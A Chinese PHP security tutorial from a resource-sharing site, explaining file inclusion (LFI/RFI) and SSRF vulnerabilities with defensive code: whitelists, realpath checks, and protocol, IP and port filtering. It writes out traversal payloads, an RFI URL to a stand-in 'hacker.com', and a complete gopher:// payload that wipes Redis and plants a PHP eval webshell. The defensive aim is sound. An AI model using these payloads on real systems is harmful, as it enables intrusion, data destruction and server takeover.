

统一声明:
1.本站联系方式QQ:709466365 TG:@UXWNET 官方TG频道:@UXW_NET 如果有其他人通过本站链接联系您导致被骗,本站一律不负责! 2.需要付费搭建请联系站长QQ:709466365 TG:@UXWNET 3.免实名域名注册购买- 游侠云域名 4.免实名国外服务器购买- 游侠网云服务
这篇文章不绕弯子,直接把两个漏洞“扒开讲”:从文件包含的“路径遍历”“远程文件包含”原理,到SSRF的“协议滥用”“内网探测”逻辑,结合真实攻击场景帮你看懂黑客怎么操作;更给你能落地的防御技巧——比如文件包含用白名单代替动态参数、禁用allow_url_include
;SSRF限制协议(只允许http/https)、校验目标IP不在内网段……
不管你是PHP新人还是老鸟,看完这篇都能一次性搞懂:这两个漏洞怎么来的?怎么防?帮你把代码里的“安全隐患”提前拔掉,再也不用怕踩这些“高频坑”。
你有没有遇到过,明明代码看着没问题,服务器却突然被人上传了恶意脚本?或者明明没对外暴露的内网服务,突然被攻击了?我去年帮一个做电商的朋友排查问题时,就碰到过——他的PHP项目用了include($_GET['template'])
这种动态包含文件的写法,结果被黑客把template
参数改成../../config/database.php
,直接读走了数据库的账号密码;还有一次是另一个做社区的客户,因为代码里用file_get_contents($_POST['url'])
转发接口,没做任何过滤,黑客传了个gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall
,直接清空了内网Redis的所有数据,差点丢了十万用户的信息。
这俩漏洞不是什么“高级攻击”,反而藏在很多开发者习以为常的代码里——文件包含是“方便的陷阱”,SSRF是“隐形的内网子弹”。今天我把踩过的坑、排过的雷拆开来给你讲,怎么识别、怎么防,一次性说透。
文件包含漏洞:从“读配置”到“拿服务器”的隐藏路径
文件包含本来是PHP的“省心功能”——比如把公共的头部导航、底部版权存成header.php
,用include('header.php')
调用,省得每个页面重复写代码。但动态传参+没过滤,就变成了黑客的“破门砖”。
我先给你算笔“账”:如果你的代码里写了include($_GET['page'])
,想让用户切换不同的页面模板,黑客会怎么做?第一步,他会试page=../../etc/passwd
(本地文件包含,LFI),直接读服务器的密码文件;第二步,如果你的php.ini
里开了allow_url_include=On
(很多新手没关这个配置),他会传page=http://hacker.com/malicious.php
(远程文件包含,RFI),让你的服务器直接执行黑客的恶意脚本——比如生成一个webshell
,从此远程控制你的服务器。
去年帮电商朋友排查时,我翻他的代码,发现他用require_once($_REQUEST['module'])
来加载不同的功能模块,没做任何过滤。黑客就是利用这个漏洞,传了module=../../var/www/html/upload/avatar.php
——而avatar.php
是用户上传的头像文件?不,是黑客先把恶意脚本改成图片后缀上传,再通过文件包含执行。最后朋友花了三天恢复数据,还赔了客户的损失。
常见的“踩坑代码”你一定见过:
include($_GET['file']);
(直接用用户输入) require($_POST['page'] . '.php');
(以为加后缀就安全?黑客可以传../config/DB
,结果变成../config/DB.php
) include('./templates/' . $_GET['tpl']);
(没限制路径,黑客传../config.php
就跳到上级目录) 那怎么防?我 了4个“必做动作”(都是我帮客户落地过的有效方法):
header.php
、footer.php
、product_list.php
这些固定文件,用switch
或者if
判断——if(in_array($file, ['header.php', 'footer.php'])) { include($file); }
,绝对不用用户输入直接拼路径。 php.ini
里的allow_url_include
和allow_url_fopen
改成Off
,彻底禁用远程文件包含。 realpath()
函数获取文件的真实路径,确保它在你指定的目录下——比如$real_path = realpath('./templates/' . $file); if(strpos($real_path, realpath('./templates/')) === 0) { include($real_path); }
,这样就算黑客传../
,也会被realpath()
解析成正确路径,避免跳出模板目录。 ../
、..
、://
这些特殊字符——比如$file = str_replace(['../', '..\', '://'], '', $_GET['file']);
,虽然不能完全防,但能挡住大部分“初级黑客”。 SSRF攻击:冒充服务器“打”内网的“隐形子弹”
接下来讲SSRF——服务器端请求伪造,简单说就是“黑客让你的服务器替他发请求”。比如你的代码里用file_get_contents($_GET['url'])
获取某个网页的内容,黑客把url
改成http://127.0.0.1:6379
(Redis的默认端口),你的服务器就会“乖乖”访问内网的Redis;如果Redis没设密码,黑客就能执行flushall
(清空数据)、set
(写恶意脚本)这些命令。
我再给你讲个真实案例:去年那个做社区的客户,代码里有个“链接预览”功能——用户输入一个url,服务器用curl_exec
获取页面标题显示。结果黑客传了个gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adir%2fvar%2fwww%2fhtml%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
——这串“乱码”是Gopher协议的请求(Redis支持Gopher协议),作用是:清空Redis数据→写一个shell.php
到网站根目录→保存。等黑客访问http://你的服务器/shell.php
,就能远程执行任何命令,比如删文件、读数据库。
SSRF的“破坏力”远不止于此:它能探测内网(比如扫192.168.1.0/24
网段的端口,看有没有未授权的MySQL、Jenkins)、攻击内网服务(比如Redis未授权、MongoDB未授权)、读取本地文件(比如用file:///etc/passwd
读敏感文件)。更恶心的是,攻击的“源头”是你的服务器,内网防火墙根本拦不住——因为是“自己人”发的请求。
那怎么防?我帮客户落地过3个“硬核措施”,能挡住90%以上的SSRF攻击:
SSRF的“帮凶”是PHP支持的多协议——比如gopher://
(攻击Redis)、file://
(读本地文件)、ftp://
(访问FTP服务)。你要做的是:只让请求走http或https。
比如用parse_url()
函数解析用户传的url
,判断scheme
是不是http
或https
:
$url = $_GET['url'];
$parsed = parse_url($url);
if(!in_array($parsed['scheme'], ['http', 'https'])) {
die('禁止访问非HTTP/HTTPS协议');
}
SSRF的核心是“攻击内网”,所以要把目标IP限制在“公网”。你可以用正则表达式或者IP库,拦截以下私有网段:
比如用filter_var()
函数判断IP是否为内网:
function is_private_ip($ip) {
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false;
}
$parsed = parse_url($url);
$ip = gethostbyname($parsed['host']);
if(is_private_ip($ip)) {
die('禁止访问内网IP');
}
很多内网服务用的是“特殊端口”——比如Redis的6379、MySQL的3306、Memcached的11211。你要做的是:只允许访问80(HTTP)、443(HTTPS)这些常用端口。
比如解析url
里的port
,如果不是80或443,直接拒绝:
$parsed = parse_url($url);
$port = $parsed['port'] ?? 80; // 默认80
if(!in_array($port, [80, 443])) {
die('禁止访问非标准端口');
}
最后给你贴张“PHP常见SSRF风险函数表”,帮你快速排查代码里的隐患:
函数名 | 风险点 | 防御 |
---|---|---|
file_get_contents() | 支持http/https/file等协议,可访问内网 | 限制协议为http/https,拦截内网IP |
curl_exec() | 支持gopher/file/ftp等协议,风险更高 | 禁用gopher等危险协议,限制端口 |
fopen() | 支持file协议,可读取本地文件 | 禁止用用户输入作为fopen的参数 |
你现在可以打开自己的代码,对照着查:有没有动态包含文件的写法?有没有允许用户传任意url的函数?如果有,赶紧按照上面的方法改——安全不是“事后补”,是“事前防”。我帮过的客户里,改完这些点的,没有再因为文件包含或SSRF被攻击过。
如果改的时候碰到问题,比如不知道怎么关allow_url_include
,或者正则写不对,欢迎回来跟我聊—— 踩过坑的人,最懂怎么绕坑。
PHP里的文件包含功能明明很方便,怎么就变成漏洞了?
文件包含本身是PHP的正常功能,比如用include调用公共的header.php省代码,但如果用动态参数(比如include($_GET[‘template’]))又没过滤,就会出问题。比如黑客把template参数改成../../config/database.php,能直接读走数据库配置;如果php.ini里开了allow_url_include=On,黑客还能传远程恶意脚本地址,让服务器执行,比如http://hacker.com/malicious.php,这样就被控制了。
简单说就是“方便的动态传参”加“没做限制”,把原本的好功能变成了黑客的破门砖,很多新手没注意这点,就容易踩坑。
文件包含漏洞用白名单防御靠谱吗?具体怎么操作?
白名单是防御文件包含漏洞最靠谱的方法之一,因为它只允许加载你指定的文件,完全切断了黑客传恶意参数的可能。比如你要加载的模板文件只有header.php、footer.php、product_list.php,就用in_array判断——如果用户传的参数在白名单里,才允许include,否则拒绝。
具体代码可以这么写:$file = $_GET[‘page’]; $allowed_files = [‘header.php’, ‘footer.php’, ‘product_list.php’]; if(in_array($file, $allowed_files)) { include($file); } 这样就算黑客想传../或远程地址,也会被拦截,比过滤特殊字符更保险。
怎么判断自己的PHP代码有没有SSRF风险?
看代码里有没有“用用户输入的URL发起请求”的情况,比如用file_get_contents($_GET[‘url’])、curl_exec($_POST[‘url’])、fopen($_REQUEST[‘url’])这些函数,而且没做任何过滤。比如你做了个链接预览功能,让用户传url然后服务器去请求,没限制协议或IP,就有SSRF风险。
还要看有没有用到支持多协议的函数,比如curl_exec支持gopher、ftp协议,这些协议容易被黑客用来攻击内网服务,比如Redis、MySQL,要是没禁用这些危险协议,风险就更高。
禁止访问内网IP的SSRF防御方法,具体怎么实现?
首先得解析用户传的URL,拿到主机名,再转成IP地址,然后判断这个IP是不是内网私有网段。比如用parse_url函数解析$url拿到host,再用gethostbyname($host)转成真实IP,接着用filter_var函数判断IP是不是私有范围——比如filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)要是返回false,就是内网IP,直接拒绝。
举个例子,代码可以写成:$parsed = parse_url($url); $ip = gethostbyname($parsed[‘host’]); if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { die(‘禁止访问内网IP’); } 这样就能挡住黑客用内网IP攻击的情况。
文件包含漏洞和SSRF攻击看起来都和“请求”有关,它们有什么不一样?
文件包含漏洞主要是“包含并执行文件”——不管是本地的(比如读配置文件)还是远程的(比如执行恶意脚本),核心是让服务器执行不该执行的文件,危害是直接拿到服务器控制权或读敏感信息。
SSRF攻击是“冒充服务器发起请求”——比如黑客让你的服务器请求内网的Redis、MySQL,或者其他服务,核心是利用服务器的内网访问权限,危害是探测内网、攻击未暴露的服务,比如清空Redis数据、访问内部数据库接口,两者的原理和攻击目标不一样。
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,请使用WINRAR解压,如遇到无法解压的请联系管理员!
8. 精力有限,不少源码未能详细测试(解密),不能分辨部分源码是病毒还是误报,所以没有进行任何修改,大家使用前请进行甄别!
站长QQ:709466365 站长邮箱:709466365@qq.com